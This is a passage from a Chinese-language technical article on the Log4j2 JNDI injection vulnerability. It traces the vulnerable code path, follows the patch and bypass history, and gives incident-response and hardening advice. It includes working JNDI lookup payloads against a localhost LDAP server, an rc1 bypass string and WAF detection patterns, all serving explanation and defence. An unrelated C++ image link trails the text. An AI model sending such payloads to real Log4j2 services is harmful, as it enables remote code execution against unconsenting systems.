-version确认。高版本JDK默认免疫了远程类加载但漏洞本身依然存在只是利用方式需要改变如利用本地ClassPath中已有的类进行利用即“绕过”。网络连接问题确保LDAP服务器和HTTP服务器的IP、端口可被POC程序访问。在复现时建议全部使用127.0.0.1避免防火墙干扰。Log4j2配置问题默认配置下Lookup功能是开启的。但某些配置如使用%m而非%msg可能不会触发解析。确保你的log4j2.xml或默认配置支持消息内容的Lookup。最简单的测试就是直接使用logger.error(“${java:runtime}”)看是否能输出Java运行时信息。恶意类编译版本确保Exploit.class的编译版本与运行POC的JVM版本兼容。4. 源码级原理追踪漏洞触发链的代码漫步复现成功让我们看到了现象但作为开发者我们更需要深入代码看清每一步是如何发生的。下面我们沿着漏洞触发链看看关键代码片段。4.1 日志渲染的入口MessagePatternConverter当调用logger.error(“Received input: {}”, maliciousInput)时Log4j2需要将消息模板和参数合并。最终消息字符串会交给MessagePatternConverter.format()方法处理。在这个方法中它会检查消息中是否包含${这个子串。关键逻辑如果消息包含$它会调用StrSubstitutor.replace()方法对消息进行替换处理。StrSubstitutor是Apache Commons Lang库中的一个类用于处理字符串中的变量替换。正是这里将日志消息从“静态文本”转向了“动态解析”。4.2 变量解析核心StrSubstitutor与InterpolatorStrSubstitutor会遍历消息寻找${和}包裹的变量表达式。当它找到jndi:ldap://127.0.0.1:1389/Exploit后会调用其内部的resolveVariable()方法。resolveVariable()方法会委托给一个StrLookup类型的解析器去查找。在Log4j2中这个解析器就是Interpolator类的一个实例。Interpolator维护着一个MapString, StrLookup里面注册了各种Lookup实现比如java,env,ctx,jndi等。Interpolator.lookup()方法会根据冒号前的前缀jndi找到对应的JndiLookup实例然后调用其lookup()方法并将冒号后的部分ldap://127.0.0.1:1389/Exploit作为参数传入。4.3 JNDI查找的执行JndiLookup与JndiManagerJndiLookup.lookup()方法非常简单它直接调用JndiManager.lookup(name)。JndiManager是Log4j2封装的一个JNDI操作工具类。在漏洞版本2.14.1的JndiManager.lookup()方法中几乎没有任何安全检查。它直接获取一个JNDI初始上下文InitialContext然后调用context.lookup(name)其中name就是攻击者传入的完整JNDI URL。// Log4j 2.14.1 中 JndiManager.lookup 的简化逻辑 public synchronized T T lookup(final String name) throws NamingException { if (this.context null) { return null; } // 直接进行 lookup没有对 name 进行任何过滤或校验 return (T) this.context.lookup(name); }至此攻击者提供的字符串被原封不动地递给了JDK的JNDI服务接口后续的远程类加载就由JDK的JNDI实现来完成了。Log4j2在这里完全扮演了一个“传话筒”的角色但它没有对这个“话筒”里传来的内容做任何危险性评估。4.4 JDK层面的执行InitialContext.lookupInitialContext.lookup(“ldap://127.0.0.1:1389/Exploit”)是JDK标准库中的方法。它根据URL协议ldap找到对应的LDAP上下文工厂然后向指定的LDAP服务器发起查询。当恶意LDAP服务器返回一个Reference对象且客户端JVM满足条件低版本JDK或相关安全属性被开启时JDK就会从Reference指定的codebaseURL即我们的http://127.0.0.1:8000/下载Exploit.class加载并实例化。漏洞根源总结功能设计层面Log4j2为了灵活性提供了动态解析日志内容中${}表达式的功能Lookup并将用户输入直接代入解析流程。安全控制缺失在实现JNDI Lookup时没有对用户可控的输入即JNDI URL进行任何白名单过滤或协议限制允许任意协议LDAP、RMI等和任意地址的JNDI查询。默认配置危险该功能在默认配置下是启用的且与日志记录这个高频操作绑定极大扩大了攻击面。5. 官方补丁演进与绕过史一场攻防拉锯战漏洞爆发后Apache Log4j2团队迅速响应发布了一系列补丁版本。分析这些补丁的演进就像观看一场精彩的攻防战也能给我们带来深刻的安全设计启示。5.1 第一道防线2.15.0-rc1 的白名单限制在第一个正式修复版本2.15.0-rc1中修复的核心位于JndiManager.lookup()方法。补丁引入了三个关键的白名单机制allowedProtocols允许的协议默认只允许java、ldap、ldaps三种协议。禁用了rmi等协议。allowedHosts允许的主机对于LDAP/LDAPS协议默认只允许本地主机localhost、127.0.0.1等。allowedClasses允许的类对于LDAP/LDAPS协议返回的Reference对象其类名必须在白名单内。默认白名单只包含一些Java基础类如String、Number等不包含任何可执行危险代码的类。补丁逻辑伪代码public synchronized T T lookup(final String name) throws NamingException { try { URI uri new URI(name); // 尝试将输入解析为URI if (uri.getScheme() ! null) { // 1. 检查协议是否允许 if (!allowedProtocols.contains(uri.getScheme().toLowerCase())) { LOGGER.warn(Protocol not allowed: {}, uri.getScheme()); return null; } // 2. 如果是LDAP检查主机是否允许 if (isLdapScheme(uri.getScheme())) { if (!allowedHosts.contains(uri.getHost())) { LOGGER.warn(Host not allowed: {}, uri.getHost()); return null; } // 3. 如果是LDAP检查返回的类是否允许 // ... (在后续实际lookup后检查className) } } // 通过检查执行原始lookup return (T) this.context.lookup(name); } catch (URISyntaxException ex) { // 注意这里捕获了异常但什么也没做 // 在rc1中这里会继续执行下面的 lookup(name) } }这个补丁的思路是“限制”通过白名单大幅收窄攻击面。但它存在一个致命的逻辑缺陷。5.2 首次绕过利用URI解析异常安全研究人员很快发现rc1补丁的检查逻辑依赖于URI uri new URI(name);这行代码。如果传入的name不是一个合法的URI格式就会抛出URISyntaxException。关键在于catch 块的处理在rc1中捕获异常后代码没有返回null或抛出错误而是静默地继续执行了this.context.lookup(name)。攻击者可以构造一个对URI构造函数不合法、但对JNDI上下文 lookup 合法的字符串。例如${jndi:ldap://127.0.0.1:1389/ exp}注意1389/和exp之间有一个空格new URI(“ldap://127.0.0.1:1389/ exp”)会因空格抛出URISyntaxException。但context.lookup(“ldap://127.0.0.1:1389/ exp”)在某些LDAP服务实现中可能是合法的或服务端容错处理了空格。这样攻击就绕过了所有白名单检查直达lookup方法。这个绕过方案凸显了“异常处理安全”的重要性。5.3 紧急修复2.15.0-rc2 与 2.16.0 的终极方案针对rc1的绕过rc2版本迅速修复了异常处理的逻辑在catch块中直接返回null拒绝处理任何无法解析为合法URI的JNDI名称。catch (URISyntaxException ex) { // rc2修复出现异常直接返回null拒绝服务 LOGGER.warn(Invalid JNDI URI - {}, name, ex); return null; }然而攻防并未停止。后续又出现了基于其他向量如低版本JDK下利用本地ClassPath中已有危险类的绕过方式。这促使Log4j2团队在2.16.0 版本做出了一个更彻底的决定默认完全禁用 JNDI Lookup 功能。在2.16.0中JndiLookup类被标记为deprecated并且在默认配置下lookup方法直接返回输入的字符串本身不再进行任何JNDI查询。用户必须通过显式设置系统属性log4j2.enableJndiLookuptrue来启用它但这被强烈警告。这是一个重要的安全设计范式转变当一项功能的默认安全风险极高且大部分用户不需要它时最安全的做法就是默认关闭它。实操心得补丁策略与风险决策从Log4j2的补丁演进中我们可以学到几点“默认安全”原则2.16.0的“默认禁用”是“默认安全”原则的体现。在设计系统时应将安全特性作为默认选项危险特性需要用户显式开启。输入验证的完整性rc1的绕过源于验证逻辑的漏洞——异常处理路径成了“后门”。安全校验必须覆盖所有可能的代码路径特别是错误和异常处理流程。安全领域有个原则叫“Fail Securely”安全地失败即当发生异常时系统应进入一个安全的状态如拒绝访问而不是绕过安全检查。白名单优于黑名单rc1采用了白名单机制方向是对的但实现不完整。在安全策略中白名单只允许已知好的通常比黑名单禁止已知坏的更有效因为坏人总能找到你没想到的“坏”东西。漏洞修复的持久战对于一个广泛使用的基础组件修复一个深层次的架构性漏洞往往不是一蹴而就的。需要做好发布多个补丁、应对各种绕过手段的准备。作为使用者不能打了第一个补丁就高枕无忧需要密切关注官方通告和后续版本。6. 企业级应急响应与长期防护实战当Log4j2漏洞爆发时我所在团队的应急响应流程经历了严峻考验。下面分享一些实战经验涵盖从紧急处置到长期加固的全过程。6.1 紧急处置止血与排查第一步快速确认影响范围资产盘点立即梳理所有Java应用、中间件Kafka, Elasticsearch, Solr, Flink等、开发框架Spring Boot, Struts等以及第三方依赖库。重点排查对外提供HTTP/API服务的组件。版本检测使用扫描工具如OWASP Dependency-Check, Trivy或脚本快速检测所有组件中Log4j-core和Log4j-api的版本。影响范围是2.0-beta9 version 2.14.1。线上流量监控在WAF、网关或应用层日志中紧急添加规则监控包含${jndi:、${ctx:、${env:等模式的请求。这是发现是否已被攻击的关键。第二步立即缓解Mitigation在无法立即升级所有应用的情况下必须采取临时缓解措施设置系统属性对于JDK 11.0.1、8u191、7u201、6u211可以设置-Dlog4j2.formatMsgNoLookupstrue。注意这个属性在2.10.0到2.14.1版本有效且不是所有利用方式都依赖消息Lookup。移除JndiLookup类一个更暴利但有效的方法是从log4j-core的JAR包中删除org/apache/logging/log4j/core/lookup/JndiLookup.class文件。这可以直接禁用JNDI功能。# 示例命令具体路径根据实际jar包调整 zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class环境变量设置LOG4J_FORMAT_MSG_NO_LOOKUPStrue环境变量效果同系统属性。WAF/网关规则紧急部署规则拦截所有包含${、}等可疑模式的请求。但要注意误杀和编码绕过。第三步制定升级计划缓解措施只是临时止血根本解决方案是升级Log4j2。目标版本升级至2.17.0 或更高版本2.16.0虽禁用JNDI但后续又发现了新的DoS漏洞CVE-2021-45105。升级挑战间接依赖很多应用不直接依赖Log4j2而是通过Spring Boot、Hadoop、Kafka等传递依赖。需要检查Maven的dependency:tree或Gradle的依赖报告使用exclusions或依赖管理强制指定版本。兼容性高版本Log4j2的API和配置可能与旧版有细微差别需充分测试。修复验证升级后需验证漏洞是否真正修复。可以编写简单的测试用例尝试触发JNDI Lookup确认其已被禁用或安全限制。6.2 长期防护与架构思考Log4j2漏洞给所有技术团队上了一课软件供应链安全至关重要。建立软件物料清单SBOM清晰掌握应用中每一个直接和间接依赖的组件、版本及其许可证。工具如CycloneDX、SPDX可以帮助生成SBOM。自动化依赖漏洞扫描将漏洞扫描如使用GitHub Dependabot, GitLab Dependency Scanning, Sonatype Nexus IQ, Snyk集成到CI/CD流水线中对每次构建进行扫描及时发现并预警新漏洞。最小权限与沙箱化JVM安全策略考虑使用Java安全管理器SecurityManager或更现代的模块系统JPMS来限制应用程序的权限例如禁止执行外部进程、限制网络访问等。虽然配置复杂但对于核心应用是值得的。容器化与隔离将应用运行在容器中利用容器的命名空间、cgroups等机制进行资源隔离和权限限制。即使应用被攻破也能将影响限制在单个容器内。纵深防御网络层严格限制服务器出站连接。大多数业务服务器不需要主动向外发起LDAP/RMI连接。通过防火墙或安全组策略禁止非必要的出站流量可以阻断大部分JNDI注入攻击的回连。运行时保护考虑使用RASP运行时应用自保护技术在应用内部监控危险行为如JNDI调用、反射调用ClassLoader、执行命令等并进行实时阻断。安全开发规范谨慎使用动态功能在代码审查中对使用表达式解析、动态类加载、反射、反序列化、模板渲染等功能的代码保持警惕。输入净化对所有外部输入进行严格的验证和净化。对于日志记录一个简单的规则是记录日志前对用户输入进行编码或过滤移除${和}等特殊字符序列。但这只是防御一层不能完全依赖。依赖项主动管理定期评估和升级依赖移除不再使用的库优先选择活跃维护、安全响应及时的社区项目。6.3 常见问题排查实录在应急响应中我们遇到了各种各样的问题这里记录几个典型场景问题1升级后应用启动报错NoClassDefFoundError或NoSuchMethodError。原因通常是传递依赖冲突。A库依赖了log4j-core 2.13.3而你的项目显式声明了2.17.0但A库的某些代码调用了2.13.3中已被移除或修改的方法。排查运行mvn dependency:tree -Dincludesorg.apache.logging.log4j查看完整的依赖树。使用exclusion排除传递进来的旧版本。解决在顶级pom的dependencyManagement中强制指定所有Log4j2组件的版本或者使用Maven的dependencyManagement和 Gradle的resolutionStrategy统一版本。问题2使用了Spring Boot如何确定和升级其内嵌的Log4j2版本原因Spring Boot通过spring-boot-starter-log4j2管理Log4j2依赖。解决查看Spring Boot官方发布的 安全公告 他们会说明每个Spring Boot版本对应的Log4j2版本。升级Spring Boot父POM的版本或者在你的项目中显式覆盖Log4j2的版本属性properties log4j2.version2.17.1/log4j2.version /properties然后更新spring-boot-starter-log4j2依赖。问题3线上有大量历史设备/遗留系统无法快速升级JDK或Log4j2怎么办这是最现实的问题。除了前述的缓解措施可以考虑网络层封堵这是最有效的一环。在边界防火墙或主机防火墙上严格限制这些设备只能访问必要的内网服务如数据库、内网API禁止所有非必要的出站互联网访问特别是到任意地址的LDAP(389,636)、RMI(1099)等端口。主机层控制如果可能使用系统防火墙如iptables或安全组进一步限制出站连接。应用层代理如果应用必须访问外部服务强制其通过一个可审计、可过滤的代理出去在代理层做规则限制。风险接受与监控明确这部分资产的风险并加强对其的监控和异常行为检测。Log4j2漏洞事件是一次对整个软件行业的严峻警示。它告诉我们安全是一个系统性工程需要贯穿于设计、开发、依赖管理、部署和运维的全生命周期。作为技术人员我们不仅要学会如何应急更要从中汲取教训将“安全左移”的理念融入日常工作中构建更具韧性的系统。
![[C++]内存管理：串顺序存储的内存回收](http://pic.xiahunao.cn/yaotu/[C++]内存管理：串顺序存储的内存回收)
